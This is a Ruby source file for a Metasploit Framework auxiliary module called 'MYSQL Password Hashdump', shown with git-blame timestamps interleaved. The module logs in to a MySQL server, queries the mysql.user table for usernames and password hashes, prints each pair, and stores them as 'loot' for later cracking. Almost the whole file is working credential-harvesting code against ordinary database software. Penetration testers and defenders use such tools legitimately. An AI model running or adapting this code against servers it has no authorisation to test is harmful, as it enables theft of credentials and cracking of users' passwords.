2011-08-15 16:28:31 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2011-08-15 16:28:31 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::MYSQL
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'MYSQL Password Hashdump',
|
|
|
|
'Description' => %Q{
|
|
|
|
This module extracts the usernames and encrypted password
|
|
|
|
hashes from a MySQL server and stores them for later cracking.
|
|
|
|
},
|
2012-09-20 02:46:14 +00:00
|
|
|
'Author' => ['theLightCosine'],
|
2011-08-15 16:28:31 +00:00
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
|
|
|
|
if (not mysql_login_datastore)
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
#Grabs the username and password hashes and stores them as loot
|
|
|
|
res = mysql_query("SELECT user,password from mysql.user")
|
|
|
|
if res.nil?
|
|
|
|
print_error("There was an error reading the MySQL User Table")
|
|
|
|
return
|
|
|
|
end
|
2011-11-20 02:12:07 +00:00
|
|
|
|
2011-10-10 17:05:01 +00:00
|
|
|
this_service = report_service(
|
|
|
|
:host => datastore['RHOST'],
|
|
|
|
:port => datastore['RPORT'],
|
|
|
|
:name => 'mysql',
|
|
|
|
:proto => 'tcp'
|
|
|
|
)
|
|
|
|
|
2011-08-15 16:28:31 +00:00
|
|
|
|
|
|
|
#create a table to store data
|
|
|
|
tbl = Rex::Ui::Text::Table.new(
|
|
|
|
'Header' => 'MysQL Server Hashes',
|
2011-11-21 23:49:57 +00:00
|
|
|
'Indent' => 1,
|
2011-08-15 16:28:31 +00:00
|
|
|
'Columns' => ['Username', 'Hash']
|
|
|
|
)
|
|
|
|
|
|
|
|
if res.size > 0
|
|
|
|
res.each do |row|
|
|
|
|
tbl << [row[0], row[1]]
|
|
|
|
print_good("Saving HashString as Loot: #{row[0]}:#{row[1]}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2011-10-10 17:05:01 +00:00
|
|
|
report_hashes(tbl.to_csv, this_service) unless tbl.rows.empty?
|
2011-08-15 16:28:31 +00:00
|
|
|
|
2012-01-28 22:55:39 +00:00
|
|
|
|
2011-08-15 16:28:31 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#Stores the Hash Table as Loot for Later Cracking
|
2011-10-10 17:05:01 +00:00
|
|
|
def report_hashes(hash_loot,service)
|
2011-08-15 16:28:31 +00:00
|
|
|
|
|
|
|
filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_mysqlhashes.txt"
|
2011-10-10 17:05:01 +00:00
|
|
|
path = store_loot("mysql.hashes", "text/plain", datastore['RHOST'], hash_loot, filename, "MySQL Hashes",service)
|
2011-08-15 16:28:31 +00:00
|
|
|
print_status("Hash Table has been saved: #{path}")
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
end
|